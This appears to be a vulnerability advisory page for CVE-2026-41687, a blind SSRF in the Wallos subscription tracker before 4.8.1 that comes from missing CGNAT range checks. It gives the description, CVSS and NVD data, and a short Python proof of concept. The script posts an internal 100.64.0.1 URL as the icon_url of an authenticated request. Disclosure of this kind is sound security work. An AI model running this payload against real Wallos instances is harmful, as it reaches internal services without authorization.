Security Vulnerability Report
中文
CVE-2026-41687 CVSS 4.3 MEDIUM

CVE-2026-41687

Published: 2026-05-07 15:16:09
Last Modified: 2026-05-07 16:16:20

Description

Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.8.1, the SSRF protection in endpoints/subscription/add.php (line 42) and endpoints/payments/add.php (line 40) uses an inline IP validation check (FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) that does not block CGNAT addresses (100.64.0.0/10, RFC 6598). The includes/ssrf_helper.php file explicitly defines is_cgnat_ip() to cover this gap (used by notification endpoints), but the logo/icon URL fetching in subscription and payment endpoints performs its own inline validation that misses this range. This allows authenticated users to perform Blind SSRF to internal services in Tailscale, Carrier-Grade NAT, and other environments using 100.64.0.0/10 addresses. This issue has been patched in version 4.8.1.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Wallos < 4.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target_url = "http://localhost/wallos/endpoints/subscription/add.php" # Attacker controlled payload targeting a CGNAT address (e.g., Tailscale) payload_url = "http://100.64.0.1/admin/reset" # Session cookie obtained after login cookies = { "PHPSESSID": "attacker_session_id" } # Data to send data = { "name": "Test Subscription", "icon_url": payload_url, # The vulnerable field "price": "10.00" } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("Request sent successfully. Check internal logs for connection attempts.") else: print(f"Failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41687", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:09.107", "lastModified": "2026-05-07T16:16:20.470", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.8.1, the SSRF protection in endpoints/subscription/add.php (line 42) and endpoints/payments/add.php (line 40) uses an inline IP validation check (FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) that does not block CGNAT addresses (100.64.0.0/10, RFC 6598). The includes/ssrf_helper.php file explicitly defines is_cgnat_ip() to cover this gap (used by notification endpoints), but the logo/icon URL fetching in subscription and payment endpoints performs its own inline validation that misses this range. This allows authenticated users to perform Blind SSRF to internal services in Tailscale, Carrier-Grade NAT, and other environments using 100.64.0.0/10 addresses. This issue has been patched in version 4.8.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/ellite/Wallos/commit/e79f28be6be0435fbc93563fb3c0e62206b48e85", "source": "[email protected]"}, {"url": "https://github.com/ellite/Wallos/releases/tag/v4.8.1", "source": "[email protected]"}, {"url": "https://github.com/ellite/Wallos/security/advisories/GHSA-4v59-hghw-7gc2", "source": "[email protected]"}, {"url": "https://github.com/ellite/Wallos/security/advisories/GHSA-4v59-hghw-7gc2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}